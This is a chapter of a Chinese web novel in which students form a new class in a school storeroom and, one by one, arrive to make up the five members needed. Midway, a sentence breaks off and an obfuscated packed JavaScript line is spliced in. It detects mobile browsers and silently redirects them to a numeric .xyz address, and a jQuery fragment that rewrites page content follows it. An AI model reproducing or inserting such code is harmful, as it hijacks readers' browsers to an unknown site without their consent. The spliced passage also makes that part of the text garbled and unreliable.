14. 14

作品:《致以闪亮的我们

    九月,南邑这座城市还是暑气难消。


    早读前,一班人声鼎沸、兵荒马乱。


    周池月耳边环绕着笔“唰唰”的声音,白花花的卷子跟下雪一样,飘得各个角落都是。


    课代表在前面收,一堆人挤在后排吃答案的“百家饭”,乱成一锅粥。


    林嘉在坐在那儿,动也不动。


    周池月也没好到哪里去,她连书包都没打开。他们俩都在等齐思明的号令。


    她看向旁边那个空空的位置,默默在心里叹了口气。


    “没事,别担心。”林嘉在隔着过道安抚她。


    周池月心说怎么可能不担心啊,这要是凑不齐五个人就前功尽弃了,不过她还是点点头:“没关系,船到桥头自然直。”


    林嘉在笑了下,没解释什么,递给她颗糖:“吃吗?”


    “谢谢。”周池月接过,剥了糖纸。


    不可否认,当有些事一个人做时,会感到恐慌。但只有旁边有坚定不移的人同行,就会心安很多。


    距离正式的早读还有十分钟,教室里的广播“滴”地开启,老齐的声音顺着电流声传来。


    “请之前递交换班志愿的同学,去往新的班级。改选物化生去往四班、五班,改选物化地去往八班。”


    说了这么多,一班众人头也没抬,因为知道不关他们的事。周池月嚼糖的时候,有一下没一下舔舔嘴唇。


    “改选物化政的……先去五楼第一间杂物室,等待后续通知。”齐思明关了广播。


    林嘉在朝她歪了下头,周池月默契地拎上书包站起来。


    他俩一站起来,其他人也随之骚动了起来,窃窃私语、议论纷纷。


    “哎呦我去,月神真要换班?”


    “还有林嘉在,这是要干吗呀,咱班不好吗?”


    “林嘉在确实不适应新高考模式吧,周考考得一般,不适合咱班。”


    “那月神呢?月神何必多此一举?”


    “躲班长吧?他俩以前cp挺火的,我看月神没那意思。”


    ……


    周池月从后门出来,正打算从露天旋转楼梯上五楼,就见边树从前门过来,似乎有话对她说。于是她向林嘉在示意让他先去。


    “因为我吗?”边树杵在那儿,眼神执拗。


    周池月疑惑:“什么?”


    边树:“换班是因为我吗?”


    “谁说的?”


    “他们都这么说。”


    周池月看了他一会儿,觉得也不怪他会那么想。年龄更小一点的时候,大概小学后期初中前期吧,绯闻满天飞。


    她那会儿不算是内心很强大的人,私下找过几次老师想换班,以为这样就能逃过流言蜚语,但没成功。


    后来她成长了,有了对自我更深刻的思考,才发现既然无论怎样她都不是过错方,她为什么要逃?怎么着也该是别人向她道歉。


    不再寻求认可后,她得到了自由。


    “你不觉得这个世界有点怪吗?”周池月想了想说,“每个人都在追求独特,想成为与众之中的那个不同。可是当我真正变得独特,迎来的不是支持和赞扬,而是质疑和否定的目光,他们似乎必须要给我的‘异类’行为作出他们眼中合理的解释。”


    “但其实没有什么别的原因,”她微微笑,“我喜欢而已。我选择它,不为别的,只是因为我喜欢。”


    五楼一直都没什么人上来。附中高二现在一共有二十四个班,四层楼已经塞得下全部班级,以至于五楼一直空着,当杂物室用。


    废旧桌子、废弃书卷、坏了的拖把……甚至有间空教室还堆了满满的乐器。


    周池月拎着包进门,只见林嘉在一人,他朝她摊了摊手。


    齐主任抱臂找了块落灰没那么重的地方,稳稳地站着,鼻孔一指说:“瞧吧,根本没人来,我看咱们还是别浪费时间算了,赶紧回一班上早读,解散——”


    “报告——”


    一道更响亮的声音打断了老齐的絮叨。


    众人的目光齐刷刷地投射过去。


    门口站着的那男生很高,跟门框都差不多齐平,身姿也很健硕。此刻他笑容满面,咧出了一口大白牙。


    徐天宇挠了挠刚剃的头,有点不好意思地问:“我来迟了吗?”


    “没有,刚刚好。”周池月把人迎进来,转头对齐思明说,“齐主任,不如我们再等下吧?反正早读也还没开始。”


    齐思明噎了一下,眯了眯眼:“你一个体育生,来凑什么热闹?”


    徐天宇囫囵找了个空地儿站着,不太好意思地慢腾腾说:“我伤势太重,以后应该不能高强度练体育为国争光了,只能转向文化课。听说有化学赋分保底政策,所以就过来了……”


    “化学班又不只有这儿!四班、五班、八班随便挑!”齐思明是最不看好这儿的。以他的经验、从他的角度,也是为了学生全心全意地考虑,能劝住一个是一个。


    “啊,可是,”徐天宇茫然地左看看又看看,终于在周池月的眼神肯定下,挺直腰杆说,“可是我想当警察,考警校必须要选政治啊。”


    齐思明:“……”


    竟然很有道理。


    “这倒也是,但是……”他“但是”了半天,不知道后面该接什么话。


    周池月看着老齐吃瘪的样子,默默抿着嘴笑,怕自己漏了声,被抓出来当典型批评。


    又不是她一个,林嘉在也笑了!但是他一贯脸上都挂着温和的笑,现在就看不太出来是在偷笑。


    忍住。忍住。周池月想,不能嘲笑老齐,毕竟他有时候真的还挺帅的,譬如斩钉截铁要让凌一泽退学的时候。


    “但是,现在也只有三个人,我看这也——”齐思明终于补上了后面的句子。


    然而刚才的场景又重现,这一次是一道细声细气的声音,带着丝不确定:“报告。”


    齐思明:“……”能不能让他把话说完!


    李韫仪背着重重的书包,把她的肩都快压垮了,并且在她的胸前,还用手捧着厚厚一摞书,快有三岁小孩那么高了。摇摇欲坠。


    看这样子,她大概是把原班所有东西都清空了一并带了上来。


    她就没给自己留后路。


    “对不起啊,我收拾了挺久的。”李韫仪半个身体还在外面,看到齐思明崩掉的表情有点懵,吞了口水怯怯地说,“然后五楼有点高,我也爬了挺久的……没有迟到吧?”


    如果说徐天宇出现在这里,周池月是早有准备的了然。


    那李韫仪,一定在她意料之外。


    但她没有立即思考很多,毕竟小姑娘都快重死了。


    周池月赶紧上前帮她分担了手上一大半的书,林嘉在同样也是。


    徐天宇则是直接过去将她书包背在了自己肩上,还一脸轻松:“啧,没事哈,一点都不重!”


    齐思明眼皮抽搐了两下:“你呢,你来这儿又是什么原因?”


    周池月偏过头,碰上李韫仪不太自信的眼睛,脑海里也闪过很多不解。


    她的选科是物生地,在今年是top1大热选科组合,覆盖的大学专业率也不错。按理说,没什么特殊的原因,应该不会换才对。


    “我,”李韫仪组织了下语言说,“我生物地理学得不太好,尤其生物也只能赋到及格分,当时选科是随波逐流,现在想明白自己真的想学什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533678|170887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么了。”


    齐思明又泼冷水:“你生物地理学不好,到这儿来,学化学政治就能学好了?”


    “……”李韫仪明显被他凶到了。


    周池月刚要反驳什么,却看到李韫仪鼓起勇气站到她面前,说:“那是第一个原因。还有,二十班的氛围,我不是很适应,我不想和他们做同学。现在,我有了真正想一起奋斗的人。”


    齐主任瞪着眼叉腰,心说这群小孩怎么一个比一个不管不顾、意气用事。


    那些看着叛逆的是真叛逆,而那些看着乖乖巧巧的,比那叛逆的还要叛逆。这是怎么个事儿!


    “还有最后一个原因。”李韫仪转过身体,直视周池月冲她笑得灿烂,“因为我知道这里缺人。”


    她说:“虽然我知道这句用在这里太‘大’了,也知道可能会让人觉得我有点奇怪,但是,我还是想勇敢说出来——”


    “报君黄金台上意,提携玉龙为君死。”


    一字一句,掷地有声。


    她那满是认真、诚挚的眼神,就是在坚定地说:没错,我就是为了你而来的。因为我知道你是需要我的。所以,千万别劝我走。


    周池月一刹那有点失语。


    李韫仪文学素养那么好,她不可能不知道这诗代表了什么。她是深思熟虑说出来的,虽然听着很荒唐。


    周池月默了两秒,嘴唇嗫动一下,最终轻松地笑了出来,把视线从她脸上挪了开来,说:“齐主任,放心吧,她来了,我会让她变得行的。”


    “……”齐思明彼时真到了无话可说的地步。


    四个人站了一排,这间破破烂烂的杂物室竟也瞧出了几分蓬勃的生命力。


    “我再提醒你们一次,以前没有学生走过这条路,结局怎么样是不可控的。客观地说,我不看好这个选科组合,文理兼修,是个很大的挑战。”他肉疼地看向周池月,这么个好苗子,怎么偏偏想不开,还指望着她高考争口气呢。


    四个人你望望我,我望望你,对视上的某一瞬间,都齐整整地笑了。


    无比庆幸此刻年少,任凭怎样的打击,都还葆有敢为人先、一腔孤勇的赤忱天真。


    早读的预备铃打响了,距离正式的还差一分钟。


    大概寂静了那么四十秒之后,齐思明摆摆手:“我也不劝你们了,就这么按学校的规定来。正式铃打响以后,能凑到五个人,这个班就暂时定下了。如果没凑到,也不为难大家,各回各班早读。”


    周池月本来挺有把握的,但随着时间一分一秒流逝,迫在眉睫时,也有点怀疑自己的判断了。


    齐主任低头瞧了眼戴的手表,清清喉咙宣布道:“好了,看了下时间,还有两秒,我们准、备、解——”


    “报告。”


    铃声和这道突如其来的声音重合上,在为之和音似的。


    历史第三次重演。


    齐思明的“散”字盘旋在嘴边,怎么都没说出口。但他莫名其妙地深吸口气,心平气和。像是早有这种预感,已经见怪不怪了。


    他吞下未尽话语,按兵不动地往门口看。


    陆岑风单手拎着包垂在身侧,校服外套松垮地挂了半边肩,微微喘着点气,人半靠在门框边。这门框很久没被清理,也不知道嫌不嫌脏。


    半边脸在昏惨惨的日光下,桀骜中竟然有了几分柔和。此刻他眼尾勾了下,散漫地斜望向一众表情各异的人,不紧不慢地开口。


    “解散什么?”


    “不是还没加上我吗?”


    周池月没来由地低头,看着地面折射出的那道利落的倒影。


    她摇摇头,很无奈地笑了下。


    甭管了,帅就完了。